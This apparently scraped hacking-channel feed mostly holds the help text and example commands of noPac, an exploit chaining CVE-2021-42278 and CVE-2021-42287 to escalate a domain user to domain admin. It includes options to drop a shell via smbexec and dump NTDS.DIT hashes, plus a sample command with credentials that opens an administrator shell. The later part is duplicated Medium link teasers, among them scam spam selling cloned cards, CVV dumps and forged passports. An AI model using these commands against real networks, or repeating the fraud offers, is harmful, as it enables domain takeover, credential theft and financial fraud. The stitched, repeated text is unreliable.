Exploiting CVE-2021-42278 and CVE-2021-42287 to impersonate DA from standard domain user Changed from sam-the-admin (https://github.com/WazeHell/sam-the-admin).
Usage SAM THE ADMIN CVE-2021-42278 + CVE-2021-42287 chain
positional arguments:
[domain/]username[:password]
Account used to authenticate to DC.
optional arguments:
-h, --help show this help message and exit
--impersonate IMPERSONATE
target username that will be impersonated (thru S4U2Self) for quering the ST. Keep in mind this will only work if the identity provided in this scripts is allowed for delegation to the SPN specified
-domain-netbios NETBIOSNAME
Domain NetBIOS name. Required if the DC has multiple domains.
-target-name NEWNAME Target computer name, if not specified, will be random generated.
-new-pass PASSWORD Add new computer password, if not specified, will be random generated.
-old-pass PASSWORD Target computer password, use if you know the password of the target you input with -target-name.
-ol d-hash LMHASH:NTHASH
Target computer hashes, use if you know the hash of the target you input with -target-name.
-debug Turn DEBUG output ON
-ts Adds timestamp to every logging output
-shell Drop a shell via smbexec
-no-add Forcibly change the password of the target computer.
-create-child Current account have permission to CreateChild.
-dump Dump Hashs via secretsdump
-use-ldap Use LDAP instead of LDAPS
authentication:
-hashes LMHASH:NTHASH
NTLM hashes, format is LMHASH:NTHASH
-no-pass don't ask for password (useful for -k)
-k Use Kerberos (https://www.kitploit.com/search/label/Kerberos) authentication. Grabs credentials (https://www.kitploit.com/search/label/Credentials) from ccache file (KRB5CCNAME) based on account parameters. If valid credentials cannot be found, it will use the ones specified in the command line
-aesKey hex key AES key to use for Kerberos Authentication (https://www.kitploit.com/search/label/Authentication) (128 or 256 bits)
-dc-host hostname Hostname of the domain controller (https://www.kitploit.com/search/label/Domain%20Controller) to use. If ommited, the domain part (FQDN) specified in the account parameter will be used
-dc-ip ip IP of the domain controller to use. Useful if you can't translate the FQDN.specified in the account parameter will be used
execute options:
-port [destination port]
Destination port to connect to SMB Server
-mode {SERVER,SHARE} mode to use (default SHARE, SERVER needs root!)< br/> -share SHARE share where the output will be grabbed from (default ADMIN$)
-shell-type {cmd,powershell}
choose a command processor for the semi-interactive shell
-codec CODEC Sets encoding (https://www.kitploit.com/search/label/Encoding) used (codec) from the target's output (default "GBK").
-service-name service_name
The name of theservice used to trigger the payload
dump options:
-just-dc-user USERNAME
Extract only NTDS.DIT data for the user specified. Only available for DRSUAPI approach. Implies also -just-dc switch
-just-dc Extract only NTDS.DIT data (NTLM hashes and Kerberos keys)
-just-dc-ntlm Extract only NTDS.DIT data (NTLM hashes only)
-pwd-last-set Shows pwdLastSet attribute for each NTDS.DIT account. Doesn't apply to -outputfile data
-use r-status Display whether or not the user is disabled
-history Dump password history, and LSA secrets OldVal
-resumefile RESUMEFILE
___________________________
@hacking_Attack
@Hacking_Video
Usage SAM THE ADMIN CVE-2021-42278 + CVE-2021-42287 chain
positional arguments:
[domain/]username[:password]
Account used to authenticate to DC.
optional arguments:
-h, --help show this help message and exit
--impersonate IMPERSONATE
target username that will be impersonated (thru S4U2Self) for quering the ST. Keep in mind this will only work if the identity provided in this scripts is allowed for delegation to the SPN specified
-domain-netbios NETBIOSNAME
Domain NetBIOS name. Required if the DC has multiple domains.
-target-name NEWNAME Target computer name, if not specified, will be random generated.
-new-pass PASSWORD Add new computer password, if not specified, will be random generated.
-old-pass PASSWORD Target computer password, use if you know the password of the target you input with -target-name.
-ol d-hash LMHASH:NTHASH
Target computer hashes, use if you know the hash of the target you input with -target-name.
-debug Turn DEBUG output ON
-ts Adds timestamp to every logging output
-shell Drop a shell via smbexec
-no-add Forcibly change the password of the target computer.
-create-child Current account have permission to CreateChild.
-dump Dump Hashs via secretsdump
-use-ldap Use LDAP instead of LDAPS
authentication:
-hashes LMHASH:NTHASH
NTLM hashes, format is LMHASH:NTHASH
-no-pass don't ask for password (useful for -k)
-k Use Kerberos (https://www.kitploit.com/search/label/Kerberos) authentication. Grabs credentials (https://www.kitploit.com/search/label/Credentials) from ccache file (KRB5CCNAME) based on account parameters. If valid credentials cannot be found, it will use the ones specified in the command line
-aesKey hex key AES key to use for Kerberos Authentication (https://www.kitploit.com/search/label/Authentication) (128 or 256 bits)
-dc-host hostname Hostname of the domain controller (https://www.kitploit.com/search/label/Domain%20Controller) to use. If ommited, the domain part (FQDN) specified in the account parameter will be used
-dc-ip ip IP of the domain controller to use. Useful if you can't translate the FQDN.specified in the account parameter will be used
execute options:
-port [destination port]
Destination port to connect to SMB Server
-mode {SERVER,SHARE} mode to use (default SHARE, SERVER needs root!)< br/> -share SHARE share where the output will be grabbed from (default ADMIN$)
-shell-type {cmd,powershell}
choose a command processor for the semi-interactive shell
-codec CODEC Sets encoding (https://www.kitploit.com/search/label/Encoding) used (codec) from the target's output (default "GBK").
-service-name service_name
The name of theservice used to trigger the payload
dump options:
-just-dc-user USERNAME
Extract only NTDS.DIT data for the user specified. Only available for DRSUAPI approach. Implies also -just-dc switch
-just-dc Extract only NTDS.DIT data (NTLM hashes and Kerberos keys)
-just-dc-ntlm Extract only NTDS.DIT data (NTLM hashes only)
-pwd-last-set Shows pwdLastSet attribute for each NTDS.DIT account. Doesn't apply to -outputfile data
-use r-status Display whether or not the user is disabled
-history Dump password history, and LSA secrets OldVal
-resumefile RESUMEFILE
___________________________
@hacking_Attack
@Hacking_Video
GitHub
GitHub - safebuffer/sam-the-admin: Exploiting CVE-2021-42278 and CVE-2021-42287 to impersonate DA from standard domain user
Exploiting CVE-2021-42278 and CVE-2021-42287 to impersonate DA from standard domain user - safebuffer/sam-the-admin
resume file name to resume NTDS.DIT session dump (only available to DRSUAPI approach). This file will also be used to keep updating the session's state
-use-vss Use the VSS method insead of default DRSUAPI
-exec-method [{smbexec,wmiexec,mmcexec}]
Remote exec method to use at target (only when using -use-vss). Default: smbexec
Note: If -host-name is not specified, the tool will automatically get the domain control hostname, please select the hostname of the host specified by -dc-ip. If --impersonate is not specified, the tool will randomly choose a doamin admin to exploit. Use ldaps by default, if you get ssl error, try add -use-ldap . GetST python noPac.py cgdomain.com/sanfeng:'1qaz@WSX' -dc-ip 10.211.55.203
___________________________
@hacking_Attack
@Hacking_Video
-use-vss Use the VSS method insead of default DRSUAPI
-exec-method [{smbexec,wmiexec,mmcexec}]
Remote exec method to use at target (only when using -use-vss). Default: smbexec
Note: If -host-name is not specified, the tool will automatically get the domain control hostname, please select the hostname of the host specified by -dc-ip. If --impersonate is not specified, the tool will randomly choose a doamin admin to exploit. Use ldaps by default, if you get ssl error, try add -use-ldap . GetST python noPac.py cgdomain.com/sanfeng:'1qaz@WSX' -dc-ip 10.211.55.203
___________________________
@hacking_Attack
@Hacking_Video
Auto get shell python noPac.py cgdomain.com/sanfeng:'1qaz@WSX' -dc-ip 10.211.55.203 -dc-host lab2012 -shell --impersonate administrator
___________________________
@hacking_Attack
@Hacking_Video
___________________________
@hacking_Attack
@Hacking_Video
All about: Cross-Site Request Forgery
https://sl4x0.medium.com/all-about-cross-site-request-forgery-2c5432201d99?source=rss------bug_bounty-5
___________________________
@hacking_Attack
@Hacking_Video
https://sl4x0.medium.com/all-about-cross-site-request-forgery-2c5432201d99?source=rss------bug_bounty-5
___________________________
@hacking_Attack
@Hacking_Video
Medium
All about: Cross-Site Request Forgery
What is CSRF?
What is CSRF?Continue reading on Medium » (https://sl4x0.medium.com/all-about-cross-site-request-forgery-2c5432201d99?source=rss------bug_bounty-5)
___________________________
@hacking_Attack
@Hacking_Video
___________________________
@hacking_Attack
@Hacking_Video
Medium
All about: Cross-Site Request Forgery
What is CSRF?
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
[Tryhackme] Agent T Writeup
https://cdn-images-1.medium.com/max/1089/1*z_3D-ycTosxdNB2sbUGnLQ.png
https://tryhackme.com/room/agentt
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
[Tryhackme] Agent T Writeup
https://cdn-images-1.medium.com/max/1089/1*z_3D-ycTosxdNB2sbUGnLQ.png
https://tryhackme.com/room/agentt
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Medium
[Tryhackme] Agent T Writeup
https://tryhackme.com/room/agentt
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
ALBERT’S CASH TEAM SERVICE WORLDWIDE(GET RICH NOW/SOLVE ALL PROBLEM NOW)
Do you know you can get free GOVERNMENT FUND by just apply the right way without stress and ZERO PRECENT INTELLIGENCE LIKE GOVERNMENT…
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
ALBERT’S CASH TEAM SERVICE WORLDWIDE(GET RICH NOW/SOLVE ALL PROBLEM NOW)
Do you know you can get free GOVERNMENT FUND by just apply the right way without stress and ZERO PRECENT INTELLIGENCE LIKE GOVERNMENT…
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Medium
%100 CC CVV DUMPS Cashapp BANKS WESTERN UNION PAYPAL TRANSFER AND LOGS ALL COUNTRY PASSPORT DRIVERS LICENSE BANKNOTE CLON¹ED ATM…
Do you know you can get free GOVERNMENT FUND by just apply the right way without stress and ZERO PRECENT INTELLIGENCE LIKE GOVERNMENT…
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
Checkout +1( 202) 503 9187 Earn BiG Bucks Transfer Cashapp Zelle Paypal Bank WU Cloned cc and atm…
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Checkout +1( 202) 503 9187 Earn BiG Bucks Transfer Cashapp Zelle Paypal Bank WU Cloned cc and atm…
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Medium
Checkout +1( 202) 503 9187 Earn BiG Bucks Transfer Cashapp Zelle Paypal Bank WU Cloned cc and atm Earn Gov funds free
Do you know you can get free GOVERNMENT FUND by just apply the right way without stress and ZERO PRECENT INTELLIGENCE LIKE GOVERNMENT GRANT , SBA ,RENTAL ASSISTANCE AND LOTS more ..HIT ME UP IF…
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
Attack Types In Intruder (Burpsuite)
https://cdn-images-1.medium.com/max/1600/1*Nb8ztjBdH0MEzkuguSmzfg.jpeg
It has been a while since I’ve published any articles. Today I would like to write on the attack types used in intruder. I’m skipping all…
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Attack Types In Intruder (Burpsuite)
https://cdn-images-1.medium.com/max/1600/1*Nb8ztjBdH0MEzkuguSmzfg.jpeg
It has been a while since I’ve published any articles. Today I would like to write on the attack types used in intruder. I’m skipping all…
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Medium
Attack Types In Intruder (Burpsuite)
It has been a while since I’ve published any articles. Today I would like to write on the attack types used in intruder. I’m skipping all…
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
Tryhackme Brooklyn Nine Nine Makine Çözümü
https://cdn-images-1.medium.com/max/630/1*l1ZX2GjsAf63CEYGBR_PeA.jpeg
Açıklama: Selam arkadaşlar, Tryhackme plartformunda bulunan ‘Brooklyn Nine Nine’ isimli makinenin çözümünü sizinle paylaşıyor olacağım…
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Tryhackme Brooklyn Nine Nine Makine Çözümü
https://cdn-images-1.medium.com/max/630/1*l1ZX2GjsAf63CEYGBR_PeA.jpeg
Açıklama: Selam arkadaşlar, Tryhackme plartformunda bulunan ‘Brooklyn Nine Nine’ isimli makinenin çözümünü sizinle paylaşıyor olacağım…
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Medium
Tryhackme Brooklyn Nine Nine Makine Çözümü
Açıklama: Selam arkadaşlar, Tryhackme plartformunda bulunan ‘Brooklyn Nine Nine’ isimli makinenin çözümünü sizinle paylaşıyor olacağım…
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
How to remove malware from a Mac?
https://cdn-images-1.medium.com/max/2600/1*6B2swGJbDzlW6gCHC4FZ7w.jpeg
Attacks & Breaches Blocking Cybersecurity Hacking Malware
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
How to remove malware from a Mac?
https://cdn-images-1.medium.com/max/2600/1*6B2swGJbDzlW6gCHC4FZ7w.jpeg
Attacks & Breaches Blocking Cybersecurity Hacking Malware
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Medium
How to remove malware from a Mac?
Attacks & Breaches Blocking Cybersecurity Hacking Malware